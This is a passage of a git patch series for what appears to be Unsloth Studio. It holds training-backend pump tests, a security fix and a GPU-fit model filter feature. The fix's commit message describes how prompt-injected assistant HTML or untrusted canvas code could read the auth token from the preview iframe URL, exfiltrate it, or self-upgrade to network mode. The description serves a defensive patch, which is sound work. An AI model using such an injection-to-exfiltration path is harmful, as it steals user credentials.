+    # Expected closed/broken-queue signals read as "no event".
+    for exc in (queue.Empty(), EOFError(), OSError(), ValueError()):
+        assert TrainingBackend._read_queue(_Q(exc), 0.01) is None
+
+    # Anything unexpected propagates on purpose to _pump_loop's guarded block,
+    # which logs and backs off instead of swallowing it into a hot loop.
+    with pytest.raises(RuntimeError):
+        TrainingBackend._read_queue(_Q(RuntimeError("boom")), 0.01)
+
+
+def test_pump_survives_queue_read_exception_and_recovers(monkeypatch):
+    # _read_queue raising an unexpected error must be caught by the pump's outer
+    # guard (log + backoff), not kill the pump; once reads recover it processes.
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    handled: list = []
+    monkeypatch.setattr(b, "_handle_event", lambda ev: handled.append(ev.get("type")))
+
+    class _FlakyQueue:
+        def __init__(self):
+            self.calls = 0
+
+        def get(self, *a, **k):
+            self.calls += 1
+            if self.calls <= 3:
+                raise RuntimeError("transient queue read error")
+            if self.calls == 4:
+                return {"type": "progress", "step": 1}
+            raise queue.Empty
+
+        def get_nowait(self, *a, **k):
+            raise queue.Empty
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._event_queue = _FlakyQueue()
+
+    pump = threading.Thread(target = b._pump_loop, daemon = True)
+    pump.start()
+    try:
+        assert _wait_until(
+            lambda: handled == ["progress"]
+        ), "pump must recover after read errors and process the next event"
+        assert pump.is_alive()
+    finally:
+        proc._alive = False
+        pump.join(timeout = 5)
+
+
+def test_pump_finalizes_when_drain_queue_raises_unexpected_error(monkeypatch):
+    # Worker has exited; the final drain hits an unexpected error. The run must
+    # still be finalized (not wedged "active" with a dead worker).
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    class _BadDrainQueue:
+        def get(self, *a, **k):
+            raise queue.Empty
+
+        def get_nowait(self, *a, **k):
+            raise RuntimeError("corrupt drain payload")
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _BadDrainQueue()
+    b._progress.is_training = True
+
+    b._pump_loop()  # returns once it sees the dead worker
+
+    assert b._progress.is_training is False
+    assert b._progress.error == "Training process exited unexpectedly"
+    assert finalized.get("status") == "error"
+    assert b._pump_running is False
+    assert b.is_training_active() is False
+
+
+def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch):
+    # An unexpected error escapes _read_queue to the pump's outer guard; if it
+    # keeps raising after worker exit, the loop must still finalize, not spin.
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    class _BrokenReadQueue:
+        def get(self, *a, **k):
+            raise RuntimeError("broken queue pipe")
+
+        def get_nowait(self, *a, **k):
+            raise queue.Empty
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _BrokenReadQueue()
+    b._progress.is_training = True
+
+    pump = threading.Thread(target = b._pump_loop, daemon = True)
+    pump.start()
+    pump.join(timeout = 5)
+    assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising"
+    assert b._progress.is_training is False
+    assert finalized.get("status") == "error"
+    assert b._pump_running is False
+
+
+def test_start_training_clears_stale_pump_running_flag():
+    # A prior pump that died abnormally leaves _pump_running True. The next
+    # start_training must clear it during reset so the start-time watchdog can't
+    # treat the fresh setup as a recoverable crash and spawn a duplicate pump.
+    b = TrainingBackend()
+    b._pump_running = True
+    b._pump_thread = None
+    b._proc = None
+
+    # No model_name -> start_training bails at kwargs["model_name"] (KeyError),
+    # but only AFTER the reset block that clears the stale flag.
+    with pytest.raises(KeyError):
+        b.start_training("job_stale_flag_test")
+
+    assert b._pump_running is False
+
+
+# ----------------------------------------------------------------------------
+# Guarantee 2: a pump that dies while the worker runs is detected + restarted.
+# ----------------------------------------------------------------------------
+
+
+def test_ensure_pump_alive_restarts_crashed_pump(monkeypatch):
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = True  # a pump started, then died abnormally
+    dead = _dead_thread()
+    b._pump_thread = dead
+
+    assert b._ensure_pump_alive() is True
+    try:
+        assert b._pump_thread is not dead
+        assert b._pump_thread.is_alive(), "a fresh pump must be running"
+    finally:
+        b._proc._alive = False
+        b._pump_thread.join(timeout = 5)
+
+
+def test_ensure_pump_alive_noop_when_pump_alive():
+    b = TrainingBackend()
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = True
+    release = threading.Event()
+    alive = threading.Thread(target = release.wait, daemon = True)
+    alive.start()
+    b._pump_thread = alive
+    try:
+        assert b._ensure_pump_alive() is False
+        assert b._pump_thread is alive
+    finally:
+        release.set()
+        alive.join(timeout = 5)
+
+
+def test_ensure_pump_alive_revives_crashed_pump_after_worker_exit(monkeypatch):
+    # True _pump_running + dead thread = a crash (the loop clears the flag on
+    # intended exits). The queue may still hold terminal events, so the pump must
+    # restart to drain and finalize, else the run is stuck "running" forever.
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _IdleQueue()
+    b._progress.is_training = True
+    b._pump_running = True
+    b._pump_thread = _dead_thread()
+
+    assert b._ensure_pump_alive() is True
+    assert _wait_until(
+        lambda: b._progress.is_training is False
+    ), "the restarted pump must drain + finalize the stranded run"
+    b._pump_thread.join(timeout = 5)
+    assert b._pump_running is False
+    assert b.is_training_active() is False
+
+
+def test_ensure_pump_alive_noop_during_setup():
+    # _pump_running is False between state-reset and the first pump actually
+    # running; the watchdog must not race in and spawn a rogue pump.
+    b = TrainingBackend()
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = False
+    b._pump_thread = None
+    assert b._ensure_pump_alive() is False
+    assert b._pump_thread is None
+
+
+def test_is_training_active_revives_dead_pump(monkeypatch):
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = True
+    dead = _dead_thread()
+    b._pump_thread = dead
+
+    # The status poll the SSE stream makes every second both reports activity
+    # and heals the dead pump as a side effect.
+    assert b.is_training_active() is True
+    try:
+        assert b._pump_thread is not dead
+        assert b._pump_thread.is_alive()
+    finally:
+        b._proc._alive = False
+        b._pump_thread.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# Guarantee 3: the DB run row exists before the pump consumes any event.
+# ----------------------------------------------------------------------------
+
+
+def _stub_spawn(monkeypatch):
+    """Stub start_training's spawn surface (GPU pick, mp context, worker)."""
+    g = TrainingBackend.start_training.__globals__
+
+    class _SpawnProc:
+        pid = 4321
+
+        def start(self):
+            pass
+
+        def is_alive(self):
+            return True
+
+    class _Ctx:
+        def Queue(self):
+            return _IdleQueue()
+
+        def Process(self, **k):
+            return _SpawnProc()
+
+    # _CTX / prepare_gpu_selection resolve from the module globals; patch the
+    # function's own globals so the eviction of core.training.training (done at
+    # this test module's import for isolation) can't hand us a different copy.
+    monkeypatch.setitem(g, "_CTX", _Ctx())
+    monkeypatch.setitem(g, "prepare_gpu_selection", lambda *a, **k: (None, None))
+
+    hw = _types.ModuleType("utils.hardware")
+    hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+    hw.hardware = type("HW", (), {"DEVICE": "cuda", "DeviceType": type("D", (), {"MLX": "mlx"})})()
+    monkeypatch.setitem(sys.modules, "utils.hardware", hw)
+
+    pl = _types.ModuleType("utils.process_lifetime")
+    pl.adopt_pid = lambda pid: None
+    monkeypatch.setitem(sys.modules, "utils.process_lifetime", pl)
+
+    worker = _types.ModuleType("core.training.worker")
+    worker.run_training_process = lambda **k: None
+    monkeypatch.setitem(sys.modules, "core.training.worker", worker)
+
+
+def test_db_run_created_before_pump_consumes_events(monkeypatch):
+    # A fast terminal worker must not race the pump into creating the DB row: by
+    # the time the pump runs, start_training has already created it. The create
+    # sleep widens the window so the ordering is observed, not luck.
+    b = TrainingBackend()
+    _stub_spawn(monkeypatch)
+
+    def slow_create():
+        time.sleep(0.05)
+        b._db_run_created = True
+
+    seen = {}
+
+    def fake_pump():
+        seen["db_created"] = b._db_run_created
+        b._pump_running = False
+
+    monkeypatch.setattr(b, "_ensure_db_run_created", slow_create)
+    monkeypatch.setattr(b, "_pump_loop", fake_pump)
+
+    assert b.start_training("job_db_order", model_name = "m") is True
+    if b._pump_thread is not None:
+        b._pump_thread.join(timeout = 2.0)
+
+    # The pump observed an already-created run; it would be False if the pump
+    # were started before the eager create.
+    assert seen["db_created"] is True

From 8ca09b86dc5085880cb0d74a14b0df09d468d8ac Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 05:25:06 -0700
Subject: [PATCH 111/306] Studio: stop leaking the auth token through HTML
 canvas preview frames (#6634)

* Studio: stop leaking the auth token through HTML canvas preview frames

The artifact preview frame placed the Studio bearer token in the iframe URL
(?token=) whenever canvas network access was enabled. Untrusted canvas HTML
runs in that frame and can read its own window.location.href, and the
network-mode CSP allows outbound http/https, so the token could be
exfiltrated and replayed against authenticated Studio APIs. The auto-render
HTML cards widened the reach: ordinary or prompt-injected assistant html
fences become a Preview card that opens this same frame, and the render_html
tool path auto-opens it without a click.

Root cause: never put the token in the frame URL. The preview shell is a
static document that only renders HTML posted to it by its embedder, and
frame-ancestors plus the no-same-origin sandbox already constrain it, so the
endpoint no longer accepts or validates the token and selects the network
CSP from allow_network alone. No credential ever reaches the frame.

Defense in depth: only tool-rendered canvases may opt into network mode;
fences auto-extracted from assistant text never do.

* Studio: stop strict canvas frames from self-upgrading to network mode

Network mode is selected from the allow_network query param alone, so untrusted
canvas code in a strict frame could navigate its own iframe to
?allow_network=1; the frame's onLoad handler then reposted the same untrusted
HTML into the now network-enabled frame, giving a no-network or fenced canvas
unauthorized network egress.

Only inject the artifact for loads we initiated (mount or a src change), tracked
by a pending flag set when src changes. A self-navigation also fires onLoad but
is no longer fed, so the upgraded frame stays the inert shell. The strict CSP
default-src 'none' already blocks the child-iframe variant.

* Studio: trim comments in the canvas artifact security fix

Condense the added explanatory comments and the artifact-preview-frame docstring
to one line each while keeping the security rationale. No code change (verified
comment-only).
---
 studio/backend/routes/inference.py            | 14 +++++------
 .../chat/artifacts/artifact-surface.tsx       |  2 ++
 .../features/chat/artifacts/html-frame.tsx    | 24 ++++++++++++-------
 3 files changed, 23 insertions(+), 17 deletions(-)

diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 8b0981cd2b..e77616fb9f 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1234,15 +1234,13 @@ async def _authenticate_header_or_query(request: Request, token: Optional[str])
 
 
 @studio_router.get("/artifact-preview-frame", include_in_schema = False)
-async def artifact_preview_frame(
-    request: Request,
-    allow_network: bool = False,
-    token: Optional[str] = None,
-):
-    """Serve the opaque sandbox shell used for client-side HTML canvases."""
+async def artifact_preview_frame(allow_network: bool = False):
+    """Serve the opaque sandbox shell for client-side HTML canvases.
 
-    if allow_network:
-        await _authenticate_header_or_query(request, token)
+    No auth token by design: the URL is readable by the untrusted canvas via
+    location.href, and this static shell exposes no server resource (frame-ancestors
+    plus the sandbox already gate it), so the CSP is chosen from allow_network alone.
+    """
 
     csp = (
         _ARTIFACT_PREVIEW_FRAME_NETWORK_CSP if allow_network else _ARTIFACT_PREVIEW_FRAME_STRICT_CSP
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
index 7c46ab11ba..0f4c83e0db 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
@@ -329,6 +329,8 @@ export function ArtifactSurface({
             code={artifact.code}
             title={artifact.title}
             fill={true}
+            // Network mode only for tool-rendered canvases, never fences.
+            allowNetworkAccess={artifact.source === "tool"}
             className="h-full"
           />
         ) : (
diff --git a/studio/frontend/src/features/chat/artifacts/html-frame.tsx b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
index 6b18b27c09..b26f2f6685 100644
--- a/studio/frontend/src/features/chat/artifacts/html-frame.tsx
+++ b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
@@ -3,7 +3,6 @@
 
 "use client";
 
-import { getAuthToken } from "@/features/auth";
 import { apiUrl } from "@/lib/api-base";
 import { cn } from "@/lib/utils";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
@@ -36,30 +35,37 @@ export function ArtifactHtmlFrame({
   title = "HTML canvas preview",
   className,
   fill = false,
+  // Tool-rendered canvases only; default off so fences never get network.
+  allowNetworkAccess = false,
 }: {
   code: string;
   title?: string;
   className?: string;
   fill?: boolean;
+  allowNetworkAccess?: boolean;
 }) {
   const iframeRef = useRef<HTMLIFrameElement>(null);
-  const allowNetworkAccess = useChatRuntimeStore(
+  const networkAccessEnabled = useChatRuntimeStore(
     (state) => state.allowArtifactNetworkAccess,
   );
   const [height, setHeight] = useState(HTML_FRAME_DEFAULT_HEIGHT);
   const artifactHtml = useMemo(() => buildArtifactSrcDoc(code), [code]);
   const src = useMemo(() => {
     const query = new URLSearchParams({ v: hashArtifactCode(code) });
-    if (allowNetworkAccess) {
-      const token = getAuthToken();
-      if (token) {
-        query.set("allow_network", "1");
-        query.set("token", token);
-      }
+    // Never put the auth token in the URL: in-frame code can read location.href.
+    if (allowNetworkAccess && networkAccessEnabled) {
+      query.set("allow_network", "1");
     }
     return apiUrl(`/api/inference/artifact-preview-frame?${query.toString()}`);
-  }, [allowNetworkAccess, code]);
+  }, [allowNetworkAccess, networkAccessEnabled, code]);
+  // Feed only parent-initiated loads, so a self-navigated frame can't self-upgrade.
+  const pendingPostRef = useRef(false);
+  useEffect(() => {
+    pendingPostRef.current = true;
+  }, [src]);
   const postArtifactHtml = useCallback(() => {
+    if (!pendingPostRef.current) return;
+    pendingPostRef.current = false;
     // Sandboxed frame has an opaque origin ("null"), so a wildcard target is
     // required; the payload only reaches this iframe's contentWindow.
     iframeRef.current?.contentWindow?.postMessage(

From a636693019f33c1acf9477dbd4ad714792683c74 Mon Sep 17 00:00:00 2001
From: Time <72468393+zrva@users.noreply.github.com>
Date: Thu, 25 Jun 2026 19:22:22 +0530
Subject: [PATCH 112/306] =?UTF-8?q?feat:=20add=20GPU-aware=20model=20filte?=
 =?UTF-8?q?ring=20and=20For=20You=20section-=20Add=20fit=20filt=E2=80=A6?=
 =?UTF-8?q?=20(#6645)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* feat: add GPU-aware model filtering and For You section- Add fit filter toggle (All / Fits GPU / Comfortable) to Hub discover tab- Add For You section showing only hardware-compatible models- Fix MoE active parameter extraction (Qwen3.5-35B-A3B now correctly reads as 3B active, not 35B)- Add gpu-fit-filter.ts with instant VRAM estimation from HF metadata without fetching model configs- Add fit badges to model cards and table rows- No backend changes- Closes #6556

* fix: handle unified memory systems in GPU fit classification

* fix: tighten GPU model fit filtering

---------

Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 .../model-selector/recommended-fit.ts         | 39 ++++++---
 .../src/features/hub/catalog/model-card.tsx   | 26 ++++--
 .../src/features/hub/catalog/models-table.tsx | 46 ++++++++++
 .../features/hub/catalog/models-toolbar.tsx   | 24 ++++++
 studio/frontend/src/features/hub/hub-page.tsx | 85 ++++++++++++++++---
 .../src/features/hub/lib/gpu-fit-filter.ts    | 80 +++++++++++++++++
 .../src/features/hub/lib/view-models.ts       | 10 +++
 studio/frontend/src/features/hub/types.ts     |  4 +
 8 files changed, 287 insertions(+), 27 deletions(-)
 create mode 100644 studio/frontend/src/features/hub/lib/gpu-fit-filter.ts

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
index 24f0edc784..cc96665df4 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
@@ -64,19 +64,38 @@ export function matchesFormatFilter(
   }
 }
 
-// First "<n>B" token in a repo id, e.g. "Qwen3-4B-GGUF" -> 4, "gpt-oss-20b" ->
-// 20, "Qwen3-30B-A3B" -> 30 (MoE total), "gemma-4-E4B" -> 4 (effective-param
-// "E" series). The digits must be bounded by a separator so we never read "16"
-// from "bf16" or the "2" in "Kimi-K2".
-const PARAM_RE = /(?:^|[-_/. ])[eE]?(\d+(?:\.\d+)?)\s*[bB](?=$|[-_./ ])/;
+// Model-size extraction from repo id, matching the backend's 3-regex priority:
+//   active params (MoE "A3B") > effective params (Gemma "E4B") > total ("8B").
+// Bounded by separators so we never read "16" from "bf16" or "2" from "Kimi-K2".
+// Examples: "Qwen3.5-35B-A3B" -> 3, "gemma-4-E4B" -> 4, "Llama-3-8B" -> 8.
+const ACTIVE_PARAM_RE = /(?:^|[-_/. ])a(\d+(?:\.\d+)?)\s*[bB](?=$|[-_/. ])/i;
+const EFFECTIVE_PARAM_RE = /(?:^|[-_/. ])e(\d+(?:\.\d+)?)\s*[bB](?=$|[-_/. ])/i;
+const TOTAL_PARAM_RE = /(?:^|[-_/. ])(\d+(?:\.\d+)?)\s*[bB](?=$|[-_/. ])/;
 
-/** Parameter count (absolute, e.g. 4e9) parsed from a repo id, or undefined
- * when the id has no size token (so callers can treat the size as unknown). */
-export function paramsFromId(id: string): number | undefined {
-  const match = PARAM_RE.exec(id);
+function paramsFromMatch(match: RegExpExecArray | null): number | undefined {
   if (!match) return undefined;
   const billions = parseFloat(match[1]);
-  return Number.isFinite(billions) && billions > 0 ? billions * 1e9 : undefined;
+  return Number.isFinite(billions) && billions > 0
+    ? billions * 1e9
+    : undefined;
+}
+
+/** Active/effective parameter count parsed from a repo id, if it uses explicit
+ * MoE/Gemma-style notation such as A3B or E4B. */
+export function activeOrEffectiveParamsFromId(id: string): number | undefined {
+  return (
+    paramsFromMatch(ACTIVE_PARAM_RE.exec(id)) ??
+    paramsFromMatch(EFFECTIVE_PARAM_RE.exec(id))
+  );
+}
+
+/** Parameter count (absolute, e.g. 4e9) parsed from a repo id, or undefined
+ * when the id has no size token (so callers can treat the size as unknown).
+ * Prefers MoE active-param notation (A3B) over effective (E4B) over total. */
+export function paramsFromId(id: string): number | undefined {
+  return (
+    activeOrEffectiveParamsFromId(id) ?? paramsFromMatch(TOTAL_PARAM_RE.exec(id))
+  );
 }
 
 // Smallest practical GGUF/MLX quant (~Q2_K, low-bit). The fit check asks whether
diff --git a/studio/frontend/src/features/hub/catalog/model-card.tsx b/studio/frontend/src/features/hub/catalog/model-card.tsx
index 358a3409b5..c3c526cac3 100644
--- a/studio/frontend/src/features/hub/catalog/model-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-card.tsx
@@ -11,7 +11,7 @@ import { ownerPaletteColor } from "@/features/hub/lib/avatar-theme";
 import { buildAdaptiveCardAccentStyle } from "@/features/hub/lib/card-accent";
 import { useDominantColor } from "@/features/hub/lib/use-dominant-color";
 import { formatModelParamLabel } from "@/features/hub/lib/view-models";
-import { formatCompact } from "@/lib/utils";
+import { cn, formatCompact } from "@/lib/utils";
 import { Download01Icon, FavouriteIcon } from "@hugeicons/core-free-icons";
 import { type CSSProperties, memo, useMemo } from "react";
 import type { DiscoverRow } from "../types";
@@ -339,11 +339,25 @@ export const ModelCard = memo(function ModelCard({
             value={formatCompact(row.result.likes)}
           />
         </div>
-        {hasSize ? (
-          <span className="hub-chip shrink-0">{sizeLabel}</span>
-        ) : topCapability ? (
-          <CapabilityPill capability={topCapability} iconOnly={true} />
-        ) : null}
+        <div className="flex shrink-0 items-center gap-1.5">
+          {row.fitLevel && (
+            <span
+              className={cn(
+                "text-[9px] font-medium px-1.5 py-0.5 rounded leading-none uppercase shrink-0",
+                row.fitLevel === "comfortable" && "text-emerald-700 bg-emerald-50 dark:text-emerald-300 dark:bg-emerald-500/15",
+                row.fitLevel === "fits" && "text-amber-700 bg-amber-50 dark:text-amber-300 dark:bg-amber-500/15",
+                row.fitLevel === "oom" && "text-red-700 bg-red-50 dark:text-red-300 dark:bg-red-500/15"
+              )}
+            >
+              {row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM"}
+            </span>
+          )}
+          {hasSize ? (
+            <span className="hub-chip shrink-0">{sizeLabel}</span>
+          ) : topCapability ? (
+            <CapabilityPill capability={topCapability} iconOnly={true} />
+          ) : null}
+        </div>
       </div>
     </button>
   );
diff --git a/studio/frontend/src/features/hub/catalog/models-table.tsx b/studio/frontend/src/features/hub/catalog/models-table.tsx
index a62806dcb6..35f2f966e5 100644
--- a/studio/frontend/src/features/hub/catalog/models-table.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-table.tsx
@@ -570,6 +570,22 @@ export const ResultCard = memo(function ResultCard({
       node: <span className="shrink-0">{sizeLabel}</span>,
     });
   }
+  if (row.fitLevel) {
+    const label = row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM";
+    const toneClass = row.fitLevel === "comfortable"
+      ? "text-emerald-700 bg-emerald-50 dark:text-emerald-300 dark:bg-emerald-500/15"
+      : row.fitLevel === "fits"
+        ? "text-amber-700 bg-amber-50 dark:text-amber-300 dark:bg-amber-500/15"
+        : "text-red-700 bg-red-50 dark:text-red-300 dark:bg-red-500/15";
+    textParts.push({
+      key: "gpuFit",
+      node: (
+        <span className={cn("shrink-0 uppercase text-[9px] font-medium px-1.5 py-0.5 rounded leading-none", toneClass)}>
+          {label}
+        </span>
+      ),
+    });
+  }
   if (row.result.updatedAt) {
     textParts.push({
       key: "updated",
@@ -729,6 +745,21 @@ export const ResultGridRow = memo(function ResultGridRow({
             </div>
             <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
               <VerifiedOwner owner={row.owner} />
+              {row.fitLevel && (
+                <>
+                  <span aria-hidden="true" className="text-muted-foreground/35">•</span>
+                  <span
+                    className={cn(
+                      "text-[9px] font-semibold uppercase shrink-0",
+                      row.fitLevel === "comfortable" && "text-emerald-600 dark:text-emerald-400",
+                      row.fitLevel === "fits" && "text-amber-600 dark:text-amber-400",
+                      row.fitLevel === "oom" && "text-red-500"
+                    )}
+                  >
+                    {row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM"}
+                  </span>
+                </>
+              )}
             </span>
           </div>
         </div>
@@ -851,6 +882,21 @@ export const ResultSplitRow = memo(function ResultSplitRow({
         </div>
         <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[10.5px] leading-[14px] text-muted-foreground/80">
           <VerifiedOwner owner={row.owner} />
+          {row.fitLevel && (
+            <>
+              <span aria-hidden="true" className="text-muted-foreground/35">•</span>
+              <span
+                className={cn(
+                  "text-[9px] font-semibold uppercase shrink-0",
+                  row.fitLevel === "comfortable" && "text-emerald-600 dark:text-emerald-400",
+                  row.fitLevel === "fits" && "text-amber-600 dark:text-amber-400",
+                  row.fitLevel === "oom" && "text-red-500"
+                )}
+              >
+                {row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM"}
+              </span>
+            </>
+          )}
         </span>
       </div>
       <div className="flex shrink-0 flex-col items-end gap-0.5 text-[10.5px] tabular-nums text-muted-foreground/70">
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index 48f7fcffaa..9cb17736af 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -21,6 +21,7 @@ import { HugeiconsIcon } from "@hugeicons/react";
 import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
 import type {
   CapabilityFilter,
+  GpuFitFilter,
   ModelFormatFilter,
   ModelsTab,
   ResourceTypeFilter,
@@ -28,6 +29,7 @@ import type {
 import {
   CAPABILITY_FILTER_OPTIONS,
   FORMAT_FILTER_OPTIONS,
+  GPU_FIT_FILTER_OPTIONS,
 } from "../lib/view-models";
 import { HubOptionMenu, type HubOption } from "./hub-option-menu";
 import {
@@ -68,6 +70,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange,
   capabilityFilter,
   onCapabilityFilterChange,
+  gpuFitFilter,
+  onGpuFitFilterChange,
   onManageLocalFolders,
   onOpenFineTune,
 }: {
@@ -84,6 +88,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange: (value: ModelFormatFilter) => void;
   capabilityFilter: CapabilityFilter;
   onCapabilityFilterChange: (value: CapabilityFilter) => void;
+  gpuFitFilter: GpuFitFilter;
+  onGpuFitFilterChange: (value: GpuFitFilter) => void;
   onManageLocalFolders: () => void;
   /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a
    *  format-dropdown option rather than a standalone feed section. */
@@ -153,6 +159,14 @@ export const ModelsToolbar = memo(function ModelsToolbar({
       })),
     [],
   );
+  const gpuFitOptions = useMemo<HubOption<GpuFitFilter>[]>(
+    () =>
+      GPU_FIT_FILTER_OPTIONS.map((option) => ({
+        value: option.value,
+        label: option.label,
+      })),
+    [],
+  );
   const sortOptions = useMemo<HubOption<HfSortKey>[]>(
     () =>
       SORT_OPTIONS.map((option) => ({
@@ -343,6 +357,16 @@ export const ModelsToolbar = memo(function ModelsToolbar({
           />
         )}
 
+        {tab === "discover" && !isDataset && (
+          <HubOptionMenu
+            value={gpuFitFilter}
+            options={gpuFitOptions}
+            onValueChange={onGpuFitFilterChange}
+            ariaLabel="GPU fit filter"
+            className={cn(triggerBase, "w-[128px]")}
+          />
+        )}
+
         {tab === "discover" && (
           <HubOptionMenu
             value={sortBy}
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index c696862283..4c79b607d9 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -85,12 +85,17 @@ import type {
   CachedInventoryRow,
   CapabilityFilter,
   DiscoverRow,
+  GpuFitFilter,
   LocalInventoryRow,
   ModelFormatFilter,
   ModelsTab,
   ResourceTypeFilter,
   SelectedModelView,
 } from "./types";
+import {
+  classifyGpuFit,
+  matchesGpuFitFilter,
+} from "./lib/gpu-fit-filter";
 
 const MODELS_TAB_STORAGE_KEY = "unsloth.hub.modelsTab";
 const ALL_MODELS_VIEW_STORAGE_KEY = "unsloth.hub.allModelsView";
@@ -413,6 +418,7 @@ export function ModelsPage() {
   );
   const [capabilityFilter, setCapabilityFilter] =
     useState<CapabilityFilter>("all");
+  const [gpuFitFilter, setGpuFitFilter] = useState<GpuFitFilter>("all");
   const [allModelsView, setAllModelsViewState] = useState<AllModelsView>(
     readAllModelsViewPreference,
   );
@@ -561,6 +567,7 @@ export function ModelsPage() {
   const apiHfToken = hfApiToken(debouncedHfToken);
   const deferredFormatFilter = useDeferredValue(formatFilter);
   const deferredCapabilityFilter = useDeferredValue(capabilityFilter);
+  const deferredGpuFitFilter = useDeferredValue(gpuFitFilter);
 
   const hasQuery = deferredDebouncedQuery.trim() !== "";
   const mode: DiscoverMode = !isModelDiscover
@@ -690,20 +697,59 @@ export function ModelsPage() {
 
   const discoverRows = isDatasetMode ? datasetDiscoverRows : modelDiscoverRows;
 
+  // Pre-compute GPU fit level for every discover row so filteredDiscoverRows
+  // and model cards can both consume the same classification.
+  const gpuFitLevelById = useMemo(() => {
+    const map = new Map<string, ReturnType<typeof classifyGpuFit>>();
+    for (const row of discoverRows) {
+      map.set(
+        row.id,
+        classifyGpuFit({
+          totalParams: row.result.totalParams,
+          estimatedSizeBytes: row.result.estimatedSizeBytes,
+          repoId: row.id,
+          gpu,
+        }),
+      );
+    }
+    return map;
+  }, [discoverRows, gpu]);
+
+  const addGpuFitLevel = useCallback(
+    (row: DiscoverRow): DiscoverRow => ({
+      ...row,
+      fitLevel: classifyGpuFit({
+        totalParams: row.result.totalParams,
+        estimatedSizeBytes: row.result.estimatedSizeBytes,
+        repoId: row.id,
+        gpu,
+      }),
+    }),
+    [gpu],
+  );
+
   const filteredDiscoverRows = useMemo(() => {
     if (isDatasetMode) return discoverRows;
-    return discoverRows.filter(
-      (row) =>
-        !isHiddenModelId(row.id) &&
-        matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
-        matchesCapability(row.capabilities, deferredCapabilityFilter) &&
-        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
-    );
+    return discoverRows
+      .filter(
+        (row) =>
+          !isHiddenModelId(row.id) &&
+          matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
+          matchesCapability(row.capabilities, deferredCapabilityFilter) &&
+          matchesGpuFitFilter(gpuFitLevelById.get(row.id) ?? null, deferredGpuFitFilter) &&
+          (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
+      )
+      .map((row) => ({
+        ...row,
+        fitLevel: gpuFitLevelById.get(row.id) ?? null,
+      }));
   }, [
     discoverRows,
     isDatasetMode,
     effectiveDiscoverFormat,
     deferredCapabilityFilter,
+    deferredGpuFitFilter,
+    gpuFitLevelById,
     activeChannel,
   ]);
 
@@ -724,8 +770,17 @@ export function ModelsPage() {
         effectiveLocalRows,
       )
         .filter((row) => !isHiddenModelId(row.id))
